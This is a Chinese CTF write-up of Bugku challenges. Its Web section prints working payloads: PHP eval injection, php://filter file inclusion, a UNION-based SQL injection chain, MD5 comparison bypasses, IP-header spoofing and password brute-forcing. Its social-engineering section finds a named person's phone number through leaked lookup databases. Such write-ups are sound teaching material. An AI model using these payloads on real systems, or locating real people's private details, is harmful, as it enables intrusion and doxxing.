- Web:1-20
- 社会工程(完成)
- Misc:1-8
一、Web
1、Web2
1.题目描述
2.解题思路
F12了解一下
KEY{Web-2-bugKssNNikls9100}
2、计算器
1.题目描述
2.解题思路
1.尝试输入答案,结果输入框只能输入一位数,由此看来,输入框被做了修改。
2.找到maxlength参数,修改1为任意大小,即位数!
3.输入结果得flag
flag{CTF-bugku-0032}
3、web基础$_GET
1.题目描述
2.解题思路
1.而从代码来看就是通过get方式传入what参数,并且让what等于flag,即可获得flag
flag{bugku_get_su8kej2en}
4、web基础$_POST
1.题目描述
2.解题思路
同上题一样,这题只是通过POST方式传入what参数,并且让what参数等于flag的时候,输出flag。我们用Hacker bar来实现。
flag{bugku_get_ssseint67se}
5、矛盾
1.题目描述
2.解题思路
需要GET传入num为数字1才能输出flag,但是如果输入纯数字的话,直接不满足if条件,进不去if语句里面,就输出不了flag。
但是这里判断num等于1,用的是==,而不是===,就用到了php弱类型比较,即 1 == 1a
是为true的。弱类型比较自行参照搜索引擎~如果一个数值和字符串进行比较的时候,会将字符串转换成数值
构造:http://123.206.87.240:8002/get/index1.php?num=1a
flag{bugku-789-ps-ssdf}
6、web3
1.题目描述
2.解题思路
1.查看网页源代码。
2.使用html解码,得到flag。
KEY{J2sa42ahJK-HS11III}
7、域名解析
1.题目描述
2.解题思路
域名解析需要修改hosts文件,这里我们使用kali虚拟机进行这道题的解答。首先打开hosts文件,将host文件修改为下图这样,然后直接访问flag.bugku.com得到flag
KEY{DSAHDSJ82HDS2211}
8、你必须让他停下
1.题目描述
2.解题思路
这题进来之后会一直刷新,原因在于前端这串js,直接通过burp抓包,然后无限重放,即可获得flag。
flag{dummy_game_1s_s0_popular}
9、本地包含
1.题目描述
题目链接挂掉了。。。
<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); ?>
2.解题思路
这题从代码来看就是从hello参数传入数据,然后在eval把传入的数据执行。那其实payload很简单,直接通过file_get_content()方式读取文件就好了。
payload:?hello=file_get_contents('./flag.php')
即可看到flag源码了
flag{bug-ctf-gg-99}
对_REQUEST[]函数并不是很了解,百度得到它对get/Post都可以接受. 其中第一句话include“flag.php”说明该文件在本地. 第二句话要获得hello的值,由于hello为’hello’,所以无论在url栏中对hello赋任何值,都会全盘接受,其中var_dump()是将a打印到界面中,在根据eval函数的特性(计算后面括号中的表达式). 根据这一特性,我们尝试将flag.php文件直接输出. 构造如下: http://120.24.86.145:8003/?hello=1);print_r(file("./flag.php"));%23 使原文语句为: eval(“var_dump(1);print_r(file(“./flag.php”))”) 另外一种方法是直接对hello赋值为hello=file_get_contents('flag.php')然后查按F12可以知道flag
10、变量1
1.题目描述
2.解题思路
这里代码的意思通过args参数传入数据,先判断变量是否被设置了,然后进入循环,在循环会经过正则表达式判断。这个正则表达的是的意思是:^
是表示正则表达式的开始,$
表示正则表达式的结束,/w
表示任意大小写字母或数字或下划线,+
号表示1到多个/w
。因此要求args传入的数据中不能带有字母数字下划线,这里可能就没办法命令执行了。但是题目提示flag在变量中,又看到了最后一行eval("var_dump($$args);")
;这里其实可以传入GLOBALS,这样就相当于执行eval("var_dump($GLOBALS)";)
;而$GLOBALS
就是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
观察程序,很明显看到了$$args,考虑到此题可能考GLOBALS变量
分析一下,可以看到var_dump那里出现$$,存在变量覆盖,前面正则对args进行了过滤,只能输入[a-z][0-9][A-Z]。因为存在变量覆盖,所以我们传入args=GLOBALS,即可达到输出$GLOBALS数组的目的,GLOBALS为php的超全局变量,一个包含了全部变量的全局组合数组。
构造如下赋值即可:http://123.206.87.240:8004/index1.php?args=GLOBALS
flag{92853051ab894a64f7865cf3c2128b34}
11、web5
1.题目描述
2.解题思路
F12查看网页源代码,发现了一大堆[]()组合,从题目中也可以看到是JSFUCK加密。直接复制黏贴丢到chrome控制台出来flag。
CTF{WHATFK}
12、头等舱
1.题目描述
2.解题思路
打开页面之后,发现什么都没有,右键源代码也没有,最后抓个包发现结果存在于HTTP响应包的头部。
flag{Bugku_k8_23s_istra}
13、网站被黑
1.题目描述
2.解题思路
先用dirsearch扫描一遍目录,发现shell.php
打开后显示需要输入密码
Burp suite抓包,爆破!使用内置password字典即可。
输入hack,得到flag
flag{hack_bug_ku035}
14、管理员系统
1.题目描述
2.解题思路
随便输入账号密码
发现ip禁止访问,就想到X-Forwarded-For Header插件伪造一个IP地址,F12看了一下,好诡异,最后有一个base64加密~
先解密,发现是test123可能是密码
在来伪造一下IP头
输入admin和密码test123,即可得到flag
flag{85ff2ee4171396724bae20c0bd851f6b}
15、web4
1.题目描述
2.解题思路
查看网页源代码
在源码里发现了一个编码后的js,看编码应该是url编码。
<script> var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62'; var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b'; eval(unescape(p1) + unescape('%35%34%61%61%32' + p2)); </script>
解码
<script> var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b'; var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;'; eval(unescape(p1) + unescape('54aa2' + p2)); </script>
这里具体逻辑应该将p1+54aa2+p2拼接起来,最后输入验证,即可获得flag。
所以提交67d709b2b54aa2aa648cf6e87a7114f1,就可以获得flag。
KEY{J22JK-HS11}
16、flag在index里
1.题目描述
2.解题思路
很明显存在文件包含,结合题目标题 flag在index里,构造payload:
http://123.206.87.240:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php
获取index.php源码将获取到的base64解码后得到网页源码,找到flag
flag{edulcni_elif_lacol_si_siht}
17、输入密码查看flag
1.题目描述
2.解题思路
题目拼音提示我们baopo,猜测是需要爆破解决,这里直接通过burp抓获数据包,然后放到intruder模块内爆破即可,爆破结果13579。
flag{bugku-baopo-hah}
18、点击一百万次
1.题目描述
2.解题思路
这里如果真点击一百万次,估计鼠标要炸了,右键查看js源码,发现一串js
<script> var clicks=0 $(function() { $("#cookie") .mousedown(function() { $(this).width('350px').height('350px'); }) .mouseup(function() { $(this).width('375px').height('375px'); clicks++; $("#clickcount").text(clicks); if(clicks >= 1000000){ var form = $('<form action="" method="post">' + '<input type="text" name="clicks" value="' + clicks + '" hidden/>' + '</form>'); $('body').append(form); form.submit(); } }); }); </script>
分析可知,点击一次clicks加1,当clicks大于100万的时候,提交一个表单,value等于clicks的值,所以我们直接POST提交clicks即可。
flag{Not_C00kI3Cl1ck3r}
19、备份是个好习惯
1.题目描述
2.解题思路
先用dirsearch扫一遍,题目描述是备份是个好习惯猜测可能是备份文件泄露漏洞。于是访问index.php.bak,可以下载。于是打开备份文件查看源码。
下载之后源码是这样的,代码逻辑其实是通过url读入参数,然后将参数进行分割,如果参数中存在key,就将其替换,最后要求(md5($key1) == md5($key2) && $key1 !== $key2)。
所以构造payload: http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=wqerqwe
Bugku{OH_YOU_FIND_MY_MOMY}
其他: 分析一下,这里代码意思是,第11行获取url ?及?后的字符串,第12行去除?,第13行剩下字符串中的key替代成'',第14行解析字符串,即将 key1=234&key2=123解析成key2=123。 到了这里就应该明白了,主要考察两个点,第一是13行处,绕过str_replace。绕过之后,来到第二处,md5弱类型比较。 对于第一个点,可以使用双写绕过,第二个点的话,可以利用两个字符串md5都是0e开头绕过,或者将key1 key2赋为两个不同数组进行绕过(md5不能对数组进行操作,会返回null=null) payload1: http://123.206.87.240:8002/web16/index.php?kekeyy1=QNKCDZO&kekeyy2=aabg7XSs payload2: http://123.206.87.240:8002/web16/index.php?kekeyy1[]=1&kekeyy2[]=12 ~要求key1和key2的md5值相等,但是值不相等 百度得这两个值为240610708和QNKCDZO,尝试赋值,并没有什么变化 继续观察源程序,发现程序中将key字符变为空,考虑用kkeyey取代key, 然后果然得到了flag
20、成绩单
1.题目描述
2.解题思路
这题看情况,似乎是注入先试试。先试试id=1
正常输出,然后试试id=1'
没有东西输出,再试试注释之后id=1'#
又可以正常显示,所以这里应该有注入了。
id=1' order by 4# //猜测列数,4列。 id=-1' union select 1,database(),2,3 # //查询数据库名skctf_flag id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# //表名 fl4g,sc id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467# //列名skctf_flag id=-1' union select 1,skctf_flag,2,3 from fl4g# //查询flag
BUGKU{Sql_INJECT0N_4813drd8hz4}
未完待续~
二、社会工程
1、密码
1.题目描述
2.解题思路
分析:这个是典型的弱口令,猜了一下,KEY是姓名+生日
KEY{zs19970315}
2、信息查找
1.题目描述
2.解题思路
使用谷歌语法 bugku.cn site:toutiao.com
KEY{462713425}
3、简单个人信息收集
1.题目描述
2.解题思路
下载压缩包1.zip。本来想用爆破的,但是没找出来密码,感觉可能不是爆破,就是试了一下是不是zip伪加密,发现果然是伪加密。
解开后,打开压缩包里面的1.txt文档内容为:在哈尔滨市阿城区胜利街六委十三组 有个叫杜甫的你能把他的手机号找到吗?flag格式 flag{手机号}
这个题归在社工里面所有要用社工库查询(需要扶墙,你懂得)。进入在线查询网站后~~~社工库挂掉了。。。。。。
开始搜索杜甫,ctrl+f搜索地点
flag{15206164164}
4、社工进阶
1.题目描述
2.解题思路
分析:因为我之前上过bugku的贴吧,所以就知道这个名字,就在bugku的吧里
看这情况应该就是要进邮箱找到flag了,直接发了封邮件给bkctftest@163.com,结果自动回复了flag。
KEY{sg1H78Si9C0s99Q}
5、王晓明的日记
1.题目描述
2.解题思路
分析:主要思路就是用burp跑字典,直接用bugku的在线工具箱生成密码字典,http://www.bugku.com/mima/
填好信息生成字典保存为txt之后直接导入burp
找到密码为ADAIR321321.
输入密码,得到flag。
flag{bugku-shegong_xmq}
6、简单的社工尝试
1.题目描述
2.解题思路
分析:这题,老实说就是使用搜图吗,百度识图也好,谷歌识图也行,都能找到,通过这只狗最后找到的是孤长离微博中的一张图
打开之后就是 flag。
flag{BUku_open_shgcx1}
三、Misc
1、签到题
1.题目描述
2.解题思路
没什么好说的,扫码即可得到flag
flag{BugKu-Sec-pwn!}
2、这是一张单纯的图片
1.题目描述
2.解题思路
用文本编辑器打开后,看到了一串编码,猜测为Unicode编码。
key{you are right}
3、隐写
1.题目描述
2.解题思路
这题是修改图片的宽度高度数据使图片显示完整,将高度从00 00 01 A4改为00 00 01 F4
PS:从第二行开始,前四位是宽,后四位是高。
BUGKU{a1e5aSA}
4、telnet
1.题目描述
2.解题思路
找到Telent协议,追踪流->TCP流。得到flag。
flag{d316759c281bf925d600be698a4973d5}
5、眼见非实(ISCCCTF)
1.题目描述
2.解题思路
解压后得到一个word,打开word发现啥也没有,看了看,将后缀改为zip。解压后得到眼见非实。得到许多xml文件,遍历内容得到flag。
flag{F1@g}
6、啊哒
1.题目描述
2.解题思路
查看图片属性,得到特殊数据
将得到的16进制数解码。提交flag发现不对。。。
binwalk分析得到压缩包里面有一个flag.txt被加密,使用上面解出的字符串作为密码得到flag
flag{3XiF_iNf0rM@ti0n}
7、又一张图片,还单纯吗
1.题目描述
2.解题思路
binwalk分析可知里面存在其它图片,利用foremost快速得到其中的图片
得到
falg{NSCTF_e6532a34928a3d1dadd0b049d5a3cc57}
8、猜
1.题目描述
2.解题思路
根据提示,尝试进行图片识别。识图得到:刘亦菲
key{liuyifei}